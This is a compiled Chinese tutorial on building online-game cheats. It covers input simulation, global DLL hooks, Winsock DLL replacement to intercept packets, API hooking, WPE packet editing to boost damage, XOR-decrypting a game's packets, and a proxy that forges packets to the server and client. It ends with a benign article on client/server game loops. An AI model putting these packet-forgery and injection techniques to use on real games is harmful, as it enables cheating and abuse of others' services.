游戏外挂基本原理及实现

1、游戏外挂的原理

外挂现在分为好多种，比如模拟键盘的，鼠标的，修改数据包的，还有修改本地内存的，但好像没有修改服务器内存的哦，呵呵。其实修改服务器也是有办法的，只是技术太高一般人没有办法入手而已。（比如请 GM 去夜总会、送礼、收黑钱等等办法都可以修改服务器数据，哈哈）

修改游戏无非是修改一下本地内存的数据，或者截获 API 函数等等。这里我把所能想到的方法都作一个介绍，希望大家能做出很好的外挂来使游戏厂商更好的完善自己的技术。我见到一篇文章是讲魔力宝贝的理论分析，写得不错，大概是那个样子。下来我就讲解一下技术方面的东西，以作引玉之用。

2 技术分析部分

2.1 模拟键盘或鼠标的响应

我们一般使用：

```
UINT SendInput(
    UINT nInputs,        // count of input events
    LPINPUT pInputs,    // array of input events
    int cbSize             // size of structure
);
```

API 函数。第一个参数是说明第二个参数的矩阵的维数的，第二个参数包含了响应事件，这个自己填充就可以，最后是这个结构的大小，非常简单，这是最简单的方法模拟键盘鼠标了，呵呵。注意，这个函数还有个替代函数：

```
VOID keybd_event(
    BYTE bVk,                    // 虚拟键码
    BYTE bScan,                 // 扫描码
    DWORD dwFlags,
    ULONG_PTR dwExtraInfo    // 附加键状态
);
```

与

```
VOID mouse_event(
    DWORD dwFlags,              // motion and click options
    DWORD dx,                   // horizontal position or change
    DWORD dy,                    // vertical position or change
```

```
    DWORD dwData,                   // wheel movement
    ULONG_PTR dwExtraInfo       // application-defined information
);
```

这两个函数非常简单了，我想那些按键精灵就是用的这个吧。上面的是模拟键盘，下面的是模拟鼠标的。这个仅仅是模拟部分，要和游戏联系起来我们还需要找到游戏的窗口才行，或者包含快捷键，就象按键精灵的那个激活键一样，我们可以用 GetWindow 函数来枚举窗口，也可以用 Findwindow 函数来查找制定的窗口（注意，还有一个 FindWindowEx），FindwindowEx 可以找到窗口的子窗口，比如按钮，等什么东西。当游戏切换场景的时候我们可以用 FindWindowEx 来确定一些当前窗口的特征，从而判断是否还在这个场景，方法很多了，比如可以 GetWindowInfo 来确定一些东西，比如当查找不到某个按钮的时候就说明游戏场景已经切换了，等等办法。有的游戏没有控件在里面，这是对图像做坐标变换的话，这种方法就要受到限制了。这就需要我们用别的办法来辅助分析了。

至于快捷键我们要用动态连接库实现了，里面要用到 hook 技术了，这个也非常简单。大家可能都会了，其实就是一个全局的 hook 对象然后 SetWindowHook 就可以了，回调函数都是现成的，而且现在网上的例子多如牛毛。这个实现在外挂中已经很普遍了。如果还有谁不明白，那就去看看 MSDN 查找 SetWindowHook 就可以了。

不要低估了这个动态连接库的作用，它可以切入所有的进程空间，也就是可以加载到所有的游戏里面哦，只要用对,你会发现很有用途的。这个需要你复习一下 Win32 编程的基础知识了。呵呵，赶快去看书吧。

2.2 截获消息

有些游戏的响应机制比较简单，是基于消息的，或者用什么定时器的东西。这个时候你就可以用拦截消息来实现一些有趣的功能了。

我们拦截消息使用的也是 hook 技术，里面包括了键盘消息，鼠标消息，系统消息，日志等，别的对我们没有什么大的用处，我们只用拦截消息的回调函数就可以了，这个不会让我写例子吧。其实这个和上面的一样，都是用 SetWindowHook 来写的，看看就明白了很简单的。

至于拦截了以后做什么就是你的事情了，比如在每个定时器消息里面处理一些我们的数据判断，或者在定时器里面在模拟一次定时器，那么有些数据就会处理两次，呵呵。后果嘛，不一定是好事情哦，呵呵，不过如果数据计算放在客户端的游戏就可以真的改变数据了，呵呵，试试看吧。用途还有很多，自己想也可以想出来的，呵呵。

2.3 拦截 Socket 包

这个技术难度要比原来的高很多。

首先我们要替换 WinSock.DLL 或者 WinSock32.DLL，我们写的替换函数要和原来的函数一致才行，就是说它的函数输出什么样的，我们也要输出什么样子的函数，而且参数，

参数顺序都要一样才行，然后在我们的函数里面调用真正的 WinSock32.DLL 里面的函数就可以了。

首先：我们可以替换动态库到系统路径。

其次：我们应用程序启动的时候可以加载原有的动态库，用这个函数 LoadLibary 然后定位函数入口用 GetProcAddress 函数获得每个真正 Socket 函数的入口地址。

当游戏进行的时候它会调用我们的动态库，然后从我们的动态库中处理完毕后才跳转到真正动态库的函数地址，这样我们就可以在里面处理自己的数据了，应该是一切数据。呵呵，兴奋吧，拦截了数据包我们还要分析之后才能进行正确的应答，不要以为这样工作就完成了，还早呢。等分析完毕以后我们还要仿真应答机制来和服务器通信，一个不小心就会被封号。

分析数据才是工作量的来源呢，游戏每次升级有可能加密方式会有所改变，因此我们写外挂的人都是亡命之徒啊，被人愚弄了还不知道。

2.4 截获 API

上面的技术如果可以灵活运用的话我们就不用截获 API 函数了，其实这种技术是一种补充技术。比如我们需要截获 Socket 以外的函数作为我们的用途，我们就要用这个技术了，其实我们也可以用它直接拦截在 Socket 中的函数，这样更直接。

现在拦截 API 的教程到处都是，我就不列举了，我用的比较习惯的方法是根据输入节进行拦截的，这个方法可以用到任何一种操作系统上，比如 Windows 98/2000 等，有些方法不是跨平台的，我不建议使用。这个技术大家可以参考《Windows 核心编程》里面的 545 页开始的内容来学习，如果是 Win98 系统可以用“Windows 系统奥秘”那个最后一章来学习。
goodmorning 收集*整理(请勿删除)

网络游戏外挂编写基础①

要想在修改游戏中做到百战百胜，是需要相当丰富的计算机知识的。有很多计算机高手就是从玩游戏，修改游戏中，逐步对计算机产生浓厚的兴趣，逐步成长起来的。不要在羡慕别人能够做到的，因为别人能够做的你也能够！我相信你们看了本教程后，会对游戏有一个全新的认识，呵呵，因为我是个好老师！（别拿鸡蛋砸我呀，救命啊！#￥%……*） 不过要想从修改游戏中学到知识，增加自己的计算机水平，可不能只是靠修改游戏呀！ 要知道，修改游戏只是一个验证你对你所了解的某些计算机知识的理解程度的场所，只能给你一些发现问题、解决问题的机会，只能起到帮助你提高学习计算机的兴趣的作用，而决不是学习计算机的捷径。

一：什么叫外挂？

现在的网络游戏多是基于 Internet 上客户／服务器模式，服务端程序运行在游戏服务器

上，游戏的设计者在其中创造一个庞大的游戏空间，各地的玩家可以通过运行客户端程序同时登录到游戏中。简单地说，网络游戏实际上就是由游戏开发商提供一个游戏环境，而玩家们就是在这个环境中相对自由和开放地进行游戏操作。那么既然在网络游戏中有了服务器这个概念，我们以前传统的修改游戏方法就显得无能为力了。记得我们在单机版的游戏中，随心所欲地通过内存搜索来修改角色的各种属性，这在网络游戏中就没有任何用处了。因为我们在网络游戏中所扮演角色的各种属性及各种重要资料都存放在服务器上，在我们自己机器上（客户端）只是显示角色的状态，所以通过修改客户端内存里有关角色的各种属性是不切实际的。那么是否我们就没有办法在网络游戏中达到我们修改的目的？回答是"否"。

我们知道 Internet 客户／服务器模式的通讯一般采用 TCP/IP 通信协议，数据交换是通过 IP 数据包的传输来实现的，一般来说我们客户端向服务器发出某些请求，比如移动、战斗等指令都是通过封包的形式和服务器交换数据。那么我们把本地发出消息称为 SEND，意思就是发送数据，服务器收到我们 SEND 的消息后，会按照既定的程序把有关的信息反馈给客户端，比如，移动的坐标，战斗的类型。那么我们把客户端收到服务器发来的有关消息称为 RECV。知道了这个道理，接下来我们要做的工作就是分析客户端和服务器之间往来的数据（也就是封包），这样我们就可以提取到对我们有用的数据进行修改，然后模拟服务器发给客户端，或者模拟客户端发送给服务器，这样就可以实现我们修改游戏的目的了。

目前除了修改游戏封包来实现修改游戏的目的，我们也可以修改客户端的有关程序来达到我们的要求。我们知道目前各个服务器的运算能力是有限的，特别在游戏中，游戏服务器要计算游戏中所有玩家的状况几乎是不可能的，所以有一些运算还是要依靠我们客户端来完成，这样又给了我们修改游戏提供了一些便利。比如我们可以通过将客户端程序脱壳来发现一些程序的判断分支，通过跟踪调试我们可以把一些对我们不利的判断去掉，以此来满足我们修改游戏的需求。 在下几个章节中，我们将给大家讲述封包的概念，和修改跟踪客户端的有关知识。大家准备好了吗？

游戏数据格式和存储：

在进行我们的工作之前，我们需要掌握一些关于计算机中储存数据方式的知识和游戏中储存数据的特点。本章节是提供给菜鸟级的玩家看的，如果你是高手就可以跳过了，如果，你想成为无坚不摧的剑客，那么，这些东西就会花掉你一些时间；如果，你只想作个江湖的游客的话，那么这些东西，了解与否无关紧要。是作剑客，还是作游客，你选择吧！

现在我们开始！首先，你要知道游戏中储存数据的几种格式，这几种格式是：字节(BYTE)、字(WORD)和双字(DOUBLE WORD)，或者说是 8 位、16 位和 32 位储存方式。字节也就是 8 位方式能储存 0~255 的数字；字或说是 16 位储存方式能储存 0~65535 的数；双字即 32 位方式能储存 0~4294967295 的数。

为何要了解这些知识呢？在游戏中各种参数的最大值是不同的，有些可能 100 左右就够了，比如，金庸群侠传中的角色的等级、随机遇敌个数等等。而有些却需要大于 255 甚至大于 65535，象金庸群侠传中角色的金钱值可达到数百万。所以，在游戏中各种不同的数据的类型是不一样的。在我们修改游戏时需要寻找准备修改的数据的封包，在这种时候，正确判断数据的类型是迅速找到正确地址的重要条件。

在计算机中数据以字节为基本的储存单位，每个字节被赋予一个编号，以确定各自的位置。这个编号我们就称为地址。

在需要用到字或双字时，计算机用连续的两个字节来组成一个字，连续的两个字组成一个双字。而一个字或双字的地址就是它们的低位字节的地址。 现在我们常用的 Windows 9x 操作系统中，地址是用一个 32 位的二进制数表示的。而在平时我们用到内存地址时，总是用一个 8 位的 16 进制数来表示它。

二进制和十六进制又是怎样一回事呢？

简单说来，二进制数就是一种只有 0 和 1 两个数码，每满 2 则进一位的计数进位法。同样，16 进制就是每满十六就进一位的计数进位法。16 进制有 0--F 十六个数字，它为表示十到十五的数字采用了 A、B、C、D、E、F 六个数字，它们和十进制的对应关系是：A 对应于 10，B 对应于 11，C 对应于 12，D 对应于 13，E 对应于 14，F 对应于 15。而且，16 进制数和二进制数间有一个简单的对应关系，那就是；四位二进制数相当于一位 16 进制数。比如，一个四位的二进制数 1111 就相当于 16 进制的 F，1010 就相当于 A。

了解这些基础知识对修改游戏有着很大的帮助，下面我就要谈到这个问题。由于在计算机中数据是以二进制的方式储存的，同时 16 进制数和二进制间的转换关系十分简单，所以大部分的修改工具在显示计算机中的数据时会显示 16 进制的代码，而且在你修改时也需要输入 16 进制的数字。你清楚了吧？

在游戏中看到的数据可都是十进制的，在要寻找并修改参数的值时，可以使用 Windows 提供的计算器来进行十进制和 16 进制的换算，我们可以在开始菜单里的程序组中的附件中找到它。

现在要了解的知识也差不多了！不过，有个问题在游戏修改中是需要注意的。在计算机中数据的储存方式一般是低位数储存在低位字节，高位数储存在高位字节。比如，十进制数 41715 转换为 16 进制的数为 A2F3，但在计算机中这个数被存为 F3A2。

看了以上内容大家对数据的存贮和数据的对应关系都了解了吗？ 好了，接下来我们要告诉大家在游戏中，封包到底是怎么一回事了，来！大家把袖口卷起来，让我们来干活吧

二：什么是封包？

怎么截获一个游戏的封包？怎么去检查游戏服务器的 ip 地址和端口号？ Internet 用户使用的各种信息服务，其通讯的信息最终均可以归结为以 IP 包为单位的信息传送，IP 包除了包括要传送的数据信息外，还包含有信息要发送到的目的 IP 地址、信息发送的源 IP 地址、以及一些相关的控制信息。当一台路由器收到一个 IP 数据包时，它将根据数据包中的目的 IP 地址项查找路由表，根据查找的结果将此 IP 数据包送往对应端口。下一台 IP 路由器收到此数据包后继续转发，直至发到目的地。路由器之间可以通过路由协议来进行路由信息的交换，从而更新路由表。

那么我们所关心的内容只是 IP 包中的数据信息，我们可以使用许多监听网络的工具来截获客户端与服务器之间的交换数据，下面就向你介绍其中的一种工具：WPE。

WPE 使用方法：执行 WPE 会有下列几项功能可选择：

SELECT GAME 选择目前在记忆体中您想拦截的程式，您只需双击该程式名称即可。

TRACE 追踪功能。用来追踪撷取程式送收的封包。WPE 必须先完成点选欲追踪的程式名称，才可以使用此项目。 按下 Play 键开始撷取程式收送的封包。您可以随时按下 | | 暂停追踪，想继续时请再按下 | | 。按下正方形可以停止撷取封包并且显示所有已撷取封包内容。若您没按下正方形停止键，追踪的动作将依照 OPTION 里的设定值自动停止。如果您没有撷取到资料，试试将 OPTION 里调整为 Winsock Version 2。WPE 及 Trainers 是设定在显示至少 16 bits 颜色下才可执行。

FILTER 过滤功能。用来分析所撷取到的封包，并且予以修改。

SEND PACKET 送出封包功能。能够让您送出假造的封包。

TRAINER MAKER 制作修改器。

OPTIONS 设定功能。让您调整 WPE 的一些设定值。

FILTER 的详细教学

- 当 FILTER 在启动状态时 ，ON 的按钮会呈现红色。- 当您启动 FILTER 时，您随时可以关闭这个视窗。FILTER 将会保留在原来的状态，直到您再按一次 on / off 钮。- 只有 FILTER 启用钮在 OFF 的状态下，才可以勾选 Filter 前的方框来编辑修改。- 当您想编辑某个 Filter，只要双击该 Filter 的名字即可。

NORMAL MODE：

范例：

当您在 Street Fighter Online 〔快打旋风线上版?#123;游戏中，您使用了两次火球而且击中了对方，这时您会撷取到以下的封包：SEND-> 0000 08 14 21 06 01 04 SEND-> 0000 02 09 87 00 67 FF A4 AA 11 22 00 00 00 00 SEND-> 0000 03 84 11 09 11 09 SEND-> 0000 0A 09 C1 10 00 00 FF 52 44 SEND-> 0000 0A 09 C1 10 00 00 66 52 44

您的第一个火球让对方减了 16 滴〔16 = 10h?#123;的生命值，而您观察到第 4 跟第 5 个封包的位置 4 有 10h 的值出现，应该就是这里了。

您观察 10h 前的 0A 09 C1 在两个封包中都没改变，可见得这 3 个数值是发出火球的关键。

因此您将 0A 09 C1 10 填在搜寻列﹛SEARCH?#123;，然后在修改列﹛MODIFY?#123;的位置 4 填上 FF。如此一来，当您再度发出火球时，FF 会取代之前的 10，也就是攻击力为 255 的火球了！

ADVANCED MODE：

范例： 当您在一个游戏中，您不想要用真实姓名，您想用修改过的假名传送给对方。在您使用 TRACE 后，您会发现有些封包里面有您的名字出现。假设您的名字是 Shadow，换算成 16 进位则是﹛53 68 61 64 6F 77?#123;；而您打算用 moon〔6D 6F 6F 6E 20 20?#123;来取代他。1) SEND-> 0000 08 14 21 06 01 042) SEND-> 0000 01 06 99 53 68 61 64 6F 77 00 01 05 3) SEND-> 0000 03 84 11 09 11 094) SEND-> 0000 0A 09 C1 10 00 53 68 61 64 6F 77 00 11 5) SEND-> 0000 0A 09 C1 10 00 00 66 52 44

但是您仔细看，您的名字在每个封包中并不是出现在相同的位置上

- 在第 2 个封包里，名字是出现在第 4 个位置上- 在第 4 个封包里，名字是出现在第 6 个位置上

在这种情况下，您就需要使用 ADVANCED MODE- 您在搜寻列﹛SEARCH?#123;填上：53 68 61 64 6F 77 〔请务必从位置 1 开始填?#123;- 您想要从原来名字 Shadow 的第一个字母开始置换新名字，因此您要选择从数值被发现的位置开始替代连续数值﹛from the position of the chain found?#123;。- 现在，在修改列﹛MODIFY?#123;000 的位置填上：6D 6F 6F 6E 20 20 〔此为相对应位置，也就是从原来搜寻栏的+001 位置开始递换?#123;- 如果您想从封包的第一个位置就修改数值，请选择﹛from the beginning of the packet?#123;

了解一点 TCP/IP 协议常识的人都知道，互联网是将信息数据打包之后再传送出去的。每个数据包分为头部信息和数据信息两部分。头部信息包括数据包的发送地址和到达地址等。数据信息包括我们在游戏中相关操作的各项信息。那么在做截获封包的过程之前我们先要知道游戏服务器的 IP 地址和端口号等各种信息，实际上最简单的是看看我们游戏目录下，是否有一个 SERVER.INI 的配置文件，这个文件里你可以查看到个游戏服务器的 IP 地址，比如金庸群侠传就是如此，那么除了这个我们还可以在 DOS 下使用 NETSTAT 这个命令，

NETSTAT 命令的功能是显示网络连接、路由表和网络接口信息，可以让用户得知目前都有哪些网络连接正在运作。或者你可以使用木马客星等工具来查看网络连接。工具是很多的，看你喜欢用哪一种了。

NETSTAT 命令的一般格式为：NETSTAT [选项]

命令中各选项的含义如下：-a 显示所有 socket，包括正在监听的。-c 每隔 1 秒就重新显示一遍，直到用户中断它。-i 显示所有网络接口的信息。-n 以网络 IP 地址代替名称，显示出网络连接情形。-r 显示核心路由表，格式同"route -e"。-t 显示 TCP 协议的连接情况。-u 显示 UDP 协议的连接情况。-v 显示正在进行的工作。

goodmorning 收*集整理 2(请勿删除)

网络游戏外挂编写基础②

三：怎么来分析我们截获的封包？

首先我们将 WPE 截获的封包保存为文本文件，然后打开它，这时会看到如下的数据（这里我们以金庸群侠传里 PK 店小二客户端发送的数据为例来讲解）：

第一个文件：SEND-> 0000 E6 56 0D 22 7E 6B E4 17 13 13 12 13 12 13 67 1BSEND-> 0010 17 12 DD 34 12 12 12 12 17 12 0E 12 12 12 9BSEND-> 0000 E6 56 1E F1 29 06 17 12 3B 0E 17 1ASEND-> 0000 E6 56 1B C0 68 12 12 12 5ASEND-> 0000 E6 56 02 C8 13 C9 7E 6B E4 17 10 35 27 13 12 12SEND-> 0000 E6 56 17 C9 12

第二个文件：SEND-> 0000 83 33 68 47 1B 0E 81 72 76 76 77 76 77 76 02 7ESEND-> 0010 72 77 07 1C 77 77 77 77 72 77 72 77 77 77 6DSEND-> 0000 83 33 7B 94 4C 63 72 77 5E 6B 72 F3SEND-> 0000 83 33 7E A5 21 77 77 77 3FSEND-> 0000 83 33 67 AD 76 CF 1B 0E 81 72 75 50 42 76 77 77SEND-> 0000 83 33 72 AC 77

我们发现两次 PK 店小二的数据格式一样，但是内容却不相同，我们是 PK 的同一个 NPC，为什么会不同呢？ 原来金庸群侠传的封包是经过了加密运算才在网路上传输的，那么我们面临的问题就是如何将密文解密成明文再分析了。

因为一般的数据包加密都是异或运算，所以这里先讲一下什么是异或。 简单的说，异或就是"相同为 0，不同为 1"（这是针对二进制按位来讲的），举个例子，0001 和 0010 异或，我们按位对比，得到异或结果是 0011，计算的方法是：0001 的第 4 位为 0，0010 的第 4 位为 0，它们相同，则异或结果的第 4 位按照"相同为 0，不同为 1"的原则得到 0，0001 的第 3 位为 0，0010 的第 3 位为 0，则异或结果的第 3 位得到 0，0001 的第 2 位为 0，0010 的第 2 位为 1，则异或结果的第 2 位得到 1，0001 的第 1 位为 1，0010 的第 1 位为 0，则异或结果的第 1 位得到 1，组合起来就是 0011。异或运算今后会遇到很多，大家可以先熟悉熟悉，熟练了对分析很有帮助的。

下面我们继续看看上面的两个文件，按照常理，数据包的数据不会全部都有值的，游戏开发时会预留一些字节空间来便于日后的扩充，也就是说数据包里会存在一些"00"的字节，观察上面的文件，我们会发现文件一里很多"12"，文件二里很多"77"，那么这是不是代表我们说的"00"呢？推理到这里，我们就开始行动吧！

我们把文件一与"12"异或，文件二与"77"异或，当然用手算很费事，我们使用"M2M 1.0 加密封包分析工具"来计算就方便多了。得到下面的结果：

第一个文件：1 SEND-> 0000 F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09SEND-> 0010 05 00 CF 26 00 00 00 00 05 00 1C 00 00 00 892 SEND-> 0000 F4 44 0C E3 3B 13 05 00 29

1C 05 083 SEND-> 0000 F4 44 09 D2 7A 00 00 00 484 SEND-> 0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00 005 SEND-> 0000 F4 44 05 DB 00

第二个文件：1 SEND-> 0000 F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09SEND-> 0010 05 00 70 6B 00 00 00 00 05 00 05 00 00 00 1A2 SEND-> 0000 F4 44 0C E3 3B 13 05 00 29 1C 05 843 SEND-> 0000 F4 44 09 D2 56 00 00 00 484 SEND-> 0000 F4 44 10 DA 01 B8 6C 79 F6 05 02 27 35 01 00 005 SEND-> 0000 F4 44 05 DB 00

哈，这一下两个文件大部分都一样啦，说明我们的推理是正确的，上面就是我们需要的明文！

接下来就是搞清楚一些关键的字节所代表的含义，这就需要截获大量的数据来分析。

首先我们会发现每个数据包都是"F4 44"开头，第 3 个字节是变化的，但是变化很有规律。我们来看看各个包的长度，发现什么没有？对了，第 3 个字节就是包的长度！ 通过截获大量的数据包，我们判断第 4 个字节代表指令，也就是说客户端告诉服务器进行的是什么操作。例如向服务器请求战斗指令为"30"，战斗中移动指令为"D4"等。接下来，我们就需要分析一下上面第一个包"F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09 05 00 CF 26 00 00 00 00 05 00 1C 00 00 00 89"，在这个包里包含什么信息呢？应该有通知服务器你 PK 的哪个 NPC 吧，我们就先来找找这个店小二的代码在什么地方。 我们再 PK 一个小喽罗（就是大理客栈外的那个咯）：SEND-> 0000 F4 44 1F 30 D4 75 F6 05 01 01 00 01 00 01 75 09SEND-> 0010 05 00 8A 19 00 00 00 00 11 00 02 00 00 00 C0 我们根据常理分析，游戏里的 NPC 种类虽然不会超过 65535（FFFF），但开发时不会把自己限制在字的范围，那样不利于游戏的扩充，所以我们在双字里看看。通过"店小二"和"小喽罗"两个包的对比，我们把目标放在"6C 79 F6 05"和"CF 26 00 00"上。（对比一下很容易的，但你不能太迟钝咯，呵呵）我们再看看后面的包，在后面的包里应该还会出现 NPC 的代码，比如移动的包，游戏允许观战，服务器必然需要知道 NPC 的移动坐标，再广播给观战的其他玩家。在后面第 4 个包"SEND-> 0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00 00"里我们又看到了"6C 79 F6 05"，初步断定店小二的代码就是它了！（这分析里边包含了很多工作的，大家可以用 WPE 截下数据来自己分析分析）

第一个包的分析暂时就到这里（里面还有的信息我们暂时不需要完全清楚了）

我们看看第 4 个包"SEND-> 0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00 00"，再截获 PK 黄狗的包，（狗会出来 2 只哦）看看包的格式：SEND-> 0000 F4 44 1A DA 02 0B 4B 7D F6 05 02 27 35 01 00 00SEND-> 0010 EB 03 F8 05 02 27 36 01 00 00

根据上面的分析，黄狗的代码为"4B 7D F6 05"（100040011），不过两只黄狗服务器怎样分辨呢？看看"EB 03 F8 05"（100140011），是上一个代码加上 100000，呵呵，这样服务器就可以认出两只黄狗了。我们再通过野外遇敌截获的数据包来证实，果然如此。

那么，这个包的格式应该比较清楚了：第 3 个字节为包的长度，"DA"为指令，第 5 个字节为 NPC 个数，从第 7 个字节开始的 10 个字节代表一个 NPC 的信息，多一个 NPC 就多 10 个字节来表示。

大家如果玩过网金，必然知道随机遇敌有时会出现增援，我们就利用游戏这个增援来让每次战斗都会出现增援的 NPC 吧。

通过在战斗中出现增援截获的数据包，我们会发现服务器端发送了这样一个包：F4 44 12 E9 EB 03 F8 05 02 00 00 03 00 00 00 00 00 00 第 5-第 8 个字节为增援 NPC 的代码（这里我们就简单的以黄狗的代码来举例）。 那么，我们就利用单机代理技术来同时欺骗客户端和服务器吧！

好了，呼叫 NPC 的工作到这里算是完成了一小半，接下来的事情，怎样修改封包和发送封包，我们下节继续讲解吧。

四：怎么冒充"客户端"向"服务器"发我们需要的封包？

这里我们需要使用一个工具，它位于客户端和服务器端之间，它的工作就是进行数据包的接收和转发，这个工具我们称为代理。如果代理的工作单纯就是接收和转发的话，这就毫无意义了，但是请注意：所有的数据包都要通过它来传输，这里的意义就重大了。我们可以分析接收到的数据包，或者直接转发，或者修改后转发，或者压住不转发，甚至伪造我们需要的封包来发送。

下面我们继续讲怎样来同时欺骗服务器和客户端，也就是修改封包和伪造封包。 通过我们上节的分析，我们已经知道了打多个 NPC 的封包格式，那么我们就动手吧！

首先我们要查找客户端发送的包，找到战斗的特征，就是请求战斗的第 1 个包，我们找"F4 44 1F 30"这个特征，这是不会改变的，当然是要解密后来查找哦。找到后，表示客户端在向服务器请求战斗，我们不动这个包，转发。 继续向下查找，这时需要查找的特征码不太好办，我们先查找"DA"，这是客户端发送 NPC 信息的数据包的指令，那么可能其他包也有"DA"，没关系，我们看前 3 个字节有没有"F4 44"就行了。找到后，我们的工作就开始了！

我们确定要打的 NPC 数量。这个数量不能很大，原因在于网金的封包长度用一个字节表示，那么一个包可以有 255 个字节，我们上面分析过，增加一个 NPC 要增加 10 个字节，所以大家算算就知道，打 20 个 NPC 比较合适。

然后我们要把客户端原来的 NPC 代码分析计算出来，因为增加的 NPC 代码要加上 100000 哦。再把我们增加的 NPC 代码计算出来，并且组合成新的封包，注意代表包长度的字节要修改啊，然后转发到服务器，这一步在编写程序的时候要注意算法，不要造成较大延迟。

上面我们欺骗服务器端完成了，欺骗客户端就简单了。

发送了上面的封包后，我们根据新增 NPC 代码构造封包马上发给客户端，格式就是"F4 44 12 E9 NPC 代码 02 00 00 03 00 00 00 00 00 00",把每个新增的 NPC 都构造这样一个包，按顺序连在一起发送给客户端，客户端也就被我们骗过了，很简单吧。

以后战斗中其他的事我们就不管了，尽情地开打吧。

goodmo*rning 收集整理(请勿删除)

网络游戏通讯模型初探①
序言

网络游戏，作为游戏与网络有机结合的产物，把玩家带入了新的娱乐领域。网络游戏在中国开始发展至今也仅有 3，4 年的历史，跟已经拥有几十年开发历史的单机游戏相比，网络游戏还是非常年轻的。当然，它的形成也是根据历史变化而产生的可以说没有互联网的兴起，也就没有网络游戏的诞生。作为新兴产物，网络游戏的开发对广大开发者来说更加神秘，对于一个未知领域，开发者可能更需要了解的是网络游戏与普通单机游戏有何区别，网络游戏如何将玩家们连接起来，以及如何为玩家提供一个互动的娱乐环境。本文就将围绕这三个主题来给大家讲述一下网络游戏的网络互连实现方法。

网络游戏与单机游戏

说到网络游戏，不得不让人联想到单机游戏，实际上网络游戏的实质脱离不了单机游戏的制作思想，网络游戏和单机游戏的差别大家可以很直接的想到：不就是可以多人连线吗？没错，但如何实现这些功能，如何把网络连线合理的融合进单机游戏，就是我们下面要讨论的内容。在了解网络互连具体实现之前，我们先来了解一下单机与网络游戏它们各自的运行流程，只有了解这些，你才能深入网络游戏开发的核心。

现在先让我们来看一下普通单机游戏的简化执行流程：

```
Initialize() // 初始化模块
{
  初始化游戏数据;
}
Game() // 游戏循环部分
{
  绘制游戏场景、人物以及其它元素;
  获取用户操作输入;
  switch( 用户输入数据)
  {
    case 移动:
    {
      处理人物移动;
    }
    break;
    case 攻击:
    {
      处理攻击逻辑:
```

```
        }
        break;
        ...
        其它处理响应;
        ...
        default:
            break;
    }
    游戏的 NPC 等逻辑 AI 处理;
}
Exit() // 游戏结束
{
    释放游戏数据;
    离开游戏;
}
```

我们来说明一下上面单机游戏的流程。首先，不管是游戏软件还是其他应用软件，初始化部分必不可少，这里需要对游戏的数据进行初始化，包括图像、声音以及一些必备的数据。接下来，我们的游戏对场景、人物以及其他元素进行循环绘制，把游戏世界展现给玩家，同时接收玩家的输入操作，并根据操作来做出响应，此外，游戏还需要对 NPC 以及一些逻辑 AI 进行处理。最后，游戏数据被释放，游戏结束。

网络游戏与单机游戏有一个很显著的差别，就是网络游戏除了一个供操作游戏的用户界面平台（如单机游戏）外，还需要一个用于连接所有用户，并为所有用户提供数据服务的服务器，从某些角度来看，游戏服务器就像一个大型的数据库，提供数据以及数据逻辑交互的功能。让我们来看看一个简单的网络游戏模型执行流程：

客户机：

```
Login()// 登入模块
{
    初始化游戏数据;
    获取用户输入的用户和密码;
    与服务器创建网络连接;
    发送至服务器进行用户验证;
    ...
    等待服务器确认消息;
    ...
    获得服务器反馈的登入消息;
    if( 成立 )
        进入游戏;
    else
        提示用户登入错误并重新接受用户登入;
```

```
}
Game()// 游戏循环部分
{
   绘制游戏场景、人物以及其它元素;
   获取用户操作输入;
   将用户的操作发送至服务器;
   ...
   等待服务器的消息;
   ...
   接收服务器的反馈信息;
   switch( 服务器反馈的消息数据 )
   {
      case 本地玩家移动的消息:
      {
         if( 允许本地玩家移动 )
            客户机处理人物移动;
         else
            客户机保持原有状态;
      }
         break;
      case 其他玩家/NPC 的移动消息:
      {
         根据服务器的反馈信息进行其他玩家或者 NPC 的移动处理;
      }
      break;
      case 新玩家加入游戏:
      {
         在客户机中添加显示此玩家;
      }
         break;
      case 玩家离开游戏:
      {
         在客户机中销毁此玩家数据;
      }
         break;
      ...
      其它消息类型处理;
      ...
      default:
         break;
   }
}
Exit()// 游戏结束
{
```

```
    发送离开消息给服务器;
    ...
    等待服务器确认;
    ...
    得到服务器确认消息;
    与服务器断开连接;
    释放游戏数据;
    离开游戏;
}
```

服务器：

```
Listen()        // 游戏服务器等待玩家连接模块
{
    ...
    等待用户的登入信息;
    ...
    接收到用户登入信息;
    分析用户名和密码是否符合;
    if( 符合 )
    {
        发送确认允许进入游戏消息给客户机;
        把此玩家进入游戏的消息发布给场景中所有玩家;
        把此玩家添加到服务器场景中;
    }
    else
    {
        断开与客户机的连接;
    }
}
Game()    // 游戏服务器循环部分
{
    ...
    等待场景中玩家的操作输入;
    ...
    接收到某玩家的移动输入或 NPC 的移动逻辑输入;
    // 此处只以移动为例
    进行此玩家/NPC 在地图场景是否可移动的逻辑判断;

    if( 可移动 )
    {
        对此玩家/NPC 进行服务器移动处理;
        发送移动消息给客户机;
```

```
      发送此玩家的移动消息给场景上所有玩家;
   }
   else
      发送不可移动消息给客户机;
}
Exit()       // 游戏服务 = 器结束
{
   接收到玩家离开消息;
   将此消息发送给场景中所有玩家;
   发送允许离开的信息;
   将玩家数据存入数据库;
   注销此玩家在服务器内存中的数据;
}
}
```

让我们来说明一下上面简单网络游戏模型的运行机制。先来讲讲服务器端，这里服务器端分为三个部分（实际上一个完整的网络游戏远不止这些）：登入模块、游戏模块和登出模块。登入模块用于监听网络游戏客户端发送过来的网络连接消息，并且验证其合法性，然后在服务器中创建这个玩家并且把玩家带领到游戏模块中； 游戏模块则提供给玩家用户实际的应用服务，我们在后面会详细介绍这个部分； 在得到玩家要离开游戏的消息后，登出模块则会把玩家从服务器中删除，并且把玩家的属性数据保存到服务器数据库中，如： 经验值、等级、生命值等。

接下来让我们看看网络游戏的客户端。这时候，客户端不再像单机游戏一样，初始化数据后直接进入游戏，而是在与服务器创建连接，并且获得许可的前提下才进入游戏。除此之外，网络游戏的客户端游戏进程需要不断与服务器进行通讯，通过与服务器交换数据来确定当前游戏的状态，例如其他玩家的位置变化、物品掉落情况。同样，在离开游戏时，客户端会向服务器告知此玩家用户离开，以便于服务器做出相应处理。

